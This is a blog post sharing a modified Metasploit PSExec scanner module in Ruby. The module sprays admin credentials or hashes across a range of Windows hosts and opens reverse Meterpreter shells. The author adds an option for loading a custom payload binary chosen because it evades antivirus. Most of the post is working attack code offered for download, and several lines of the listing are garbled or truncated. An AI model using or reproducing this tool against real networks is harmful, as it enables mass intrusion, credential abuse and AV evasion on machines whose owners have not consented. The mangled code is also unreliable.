Use EXE::Custom with psexec scanner

Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.

I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.

Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.

Below is the original script with my edits/additions highlighted. You can download the edited script here

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Slightly modified by pipefish to add the EXE::Custom option

require 'msf/core'
require 'rex'



class Metasploit3  'Auxiliary PSExec Scanner',
				'Description'   => %q{
					PSExec scanner module that will run a psexec attack against a range of hosts
					using either a set of credentials provided or the credential saved in the
					current workspace database.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez '],
				'Version'       => '$Revision$'
			))
		register_options(
			[
				OptString.new('SMBUser', [false, 'SMB Username', nil]),
				OptString.new('SMBPass', [false, 'SMB Password', nil]),
				OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
				OptString.new('SHARE',     [ true,
						"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
				OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
				OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
				OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
				OptString.new('PAYLOAD', [true, 'Payload to use against Windows host',
						"windows/meterpreter/reverse_tcp"]),
				OptEnum.new('TYPE', [false, 
						'Type of credentials to use, manual for provided one, db for those found on the database',
						'manual', ['db','manual']]),
				OptString.new('OPTIONS',
				[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
					""]),
				OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),
				OptBool.new('HANDLER',
					[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
			], self.class)
		# no need for it
		deregister_options('RPORT')
		
	end
	def setup()
		# Set variables
		pay_name = datastore['PAYLOAD']
		lhost    = datastore['LHOST']
		lport    = datastore['LPORT']
		opts     = datastore['OPTIONS']
		

		if datastore['TYPE'] == "db"
			print_status("Using the credentials found in the workspace database")
			collect_hashes()
		else
			print_status("Using the username and password provided")
		end
		@pay = create_payload(pay_name,lhost,lport,opts)
		create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
	end

	# Run Method for when run command is issued
	def run_host(ip)
		if check_port(ip)
			if datastore['TYPE'] == "manual"
				if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
					user = datastore['SMBUser']
					pass = datastore['SMBPass']
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
					return
				end
			else
				@creds.each do |c|
					user,pass = c.split(" ")
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
				end
			end
		else
			return
		end
	end
	
	## Run psexec on a given IP
	def psexec(ip,user,pass,dom,payload,custexe)
		psexec = framework.modules.create("exploit/windows/smb/psexec")
		psexec.share_datastore(@pay.datastore)
		psexec.datastore['PAYLOAD'] = payload
		psexec.datastore['MODULE_OWNER'] = self.owner
		psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		psexec.datastore['RHOST'] = ip
		psexec.datastore['SMBUser'] = user
		psexec.datastore['SMBPass'] = pass
		psexec.datastore['SMBDomain'] = dom
		if not datastore['EXE::Custom'].nil?
			psexec.datastore['EXE::Custom'] = custexe
		end
		psexec.datastore['SHARE'] = datastore['SHARE']
		psexec.datastore['RPORT'] = 445
		psexec.datastore['ExitOnSession'] = false
		psexec.datastore['DisablePayloadHandler'] = false
		psexec.datastore['EXITFUNC'] = 'process'
		psexec.datastore['VERBOSE'] = true
		psexec.datastore['DisablePayloadHandler'] = true
		psexec.datastore['ForceBlocking'] = true
		psexec.options.validate(psexec.datastore)
		psexec.exploit_simple(
			'LocalInput'	=> self.user_input,
			'LocalOutput'	=> self.user_output,
			'Payload'	=> payload,
			'Target'	=> 0,
			'ForceBlocking'	=> true,
			'RunAsJob'	=> false)
		Rex::ThreadSafe.sleep(4)
	end

	def check_port(ip)
		status = false
		timeout = 1000
		port = 445
		begin
			s = connect(false,
				{
					'RPORT' => 445,
					'RHOST' => ip,
					'ConnectTimeout' => (timeout / 1000.0)
				}
			)
			print_status("#{ip}:#{port} - TCP OPEN")
			status = true
		rescue ::Rex::ConnectionRefused
			vprint_status("#{ip}:#{port} - TCP closed")
		rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
		ensure
			disconnect(s) rescue nil
		end
		return status
	end

	def collect_hashes
		type = "smb_hash|password"
		@creds = []
		print_status("Collecting Hashes from the DB")
		framework.db.workspace.creds.each do |cred|
			if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
				@creds < mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
				)
		else
			print_error("Could not start handler!")
		end
	end

end
Advertisement